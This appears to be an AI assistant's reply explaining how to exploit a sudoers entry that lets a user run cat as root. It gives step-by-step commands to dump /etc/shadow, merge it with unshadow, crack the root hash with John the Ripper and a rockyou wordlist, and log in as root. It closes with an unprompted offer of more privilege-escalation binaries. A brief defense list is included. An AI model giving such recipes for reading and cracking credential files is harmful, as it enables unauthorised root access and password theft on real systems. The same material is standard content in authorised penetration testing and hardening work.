Ah, you’re talking about the **sudoers misconfiguration** trick where a low-privileged user can **read the /etc/shadow file** (and possibly escalate to root) using cat or another binary

**Sudoers Misconfig + cat to Read /etc/shadow**

**1. What is it?**

If in /etc/sudoers (or via sudo -l) you see an entry like:

(user) ALL=(ALL) NOPASSWD: /bin/cat

or

(user) ALL=(ALL:ALL) /bin/cat

…it means your user can run /bin/cat as **root** without a password.

**2. Why is this dangerous?**

If you can run cat as root, you can **read** sensitive files that only root should access — such as /etc/shadow.

**3. Exploiting It**

Run:

sudo /bin/cat /etc/shadow

This will dump the password hashes for all accounts, including root.

**4. Next Steps — Cracking Root Hash**

1. Copy the root hash line from /etc/shadow.
2. Use unshadow to merge /etc/passwd and /etc/shadow:
3. unshadow /etc/passwd /etc/shadow > crack.txt
4. Crack with **John the Ripper** or **hashcat**:
5. john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
6. If cracked, log in as root.

**5. Why It Happens**

Admins sometimes think "cat is harmless" and allow it in sudoers for log viewing, but they forget it can read **any** file.

**6. Defense**

* Remove dangerous binaries from sudoers.
* Use sudo for very specific, restricted scripts.
* Monitor /etc/sudoers for insecure entries.

If you want, I can give you **a list of other dangerous sudoers binaries** like /bin/less, /bin/vi, /bin/nano that can be abused to get root — some are even better than cat because they allow **command execution**. That list is basically a mini GTFOBins cheat sheet for privilege escalation.